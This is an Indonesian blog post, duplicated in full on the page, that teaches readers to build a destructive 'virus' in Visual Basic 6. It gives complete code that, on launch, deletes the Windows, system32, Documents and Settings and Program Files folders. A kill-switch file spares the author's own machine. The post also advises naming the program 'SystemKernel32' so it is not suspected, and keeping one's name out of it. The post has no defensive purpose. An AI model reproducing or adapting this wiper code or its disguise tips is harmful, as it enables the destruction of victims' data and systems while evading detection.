Tutorial ini untuk membuat virus yang cukup mematikan, tapi simple, dan sepertinya tidak akan terdekteksi antivirus, soalnya cara kerjanya simple
Yang diperlukan:
1. VB(optimal : 6.0)
2. Paham tombol-tombolnya VB
Tutorial Bikin Virus cuma 1 menit
1. buat form sekecil mungkin
2. didalam form itu, masukin kode di bawah ini
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.Kode yg warna biru itu penangkal virus, barang kali anda tidak sengaja tekan jadi anda selamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, anda tidak akan keserang sendiri… bisa anda edit koq jadi apa gitu…
Yang warna merah itu folder yang akan didelete sama virus ini, anda edit sendiri
4. Buat project ini namanya seperti nama system, disini aku pakai nama “SystemKernel32″ jadi tidak bakal dicurigai
5. Jangan pernah letakan namamu di virus ini.
6. compile it
dan selesai
www.jawarakampung.blogspot.comSource URL: https://policfashion2011.blogspot.com/2011/01/virus-simple-yang-sangat-berbahaya.html
Visit Police Fashion for daily updated images of art collection
Yang diperlukan:
1. VB(optimal : 6.0)
2. Paham tombol-tombolnya VB
Tutorial Bikin Virus cuma 1 menit
1. buat form sekecil mungkin
2. didalam form itu, masukin kode di bawah ini
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.Kode yg warna biru itu penangkal virus, barang kali anda tidak sengaja tekan jadi anda selamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, anda tidak akan keserang sendiri… bisa anda edit koq jadi apa gitu…
Yang warna merah itu folder yang akan didelete sama virus ini, anda edit sendiri
4. Buat project ini namanya seperti nama system, disini aku pakai nama “SystemKernel32″ jadi tidak bakal dicurigai
5. Jangan pernah letakan namamu di virus ini.
6. compile it
dan selesai
www.jawarakampung.blogspot.comSource URL: https://policfashion2011.blogspot.com/2011/01/virus-simple-yang-sangat-berbahaya.html
Visit Police Fashion for daily updated images of art collection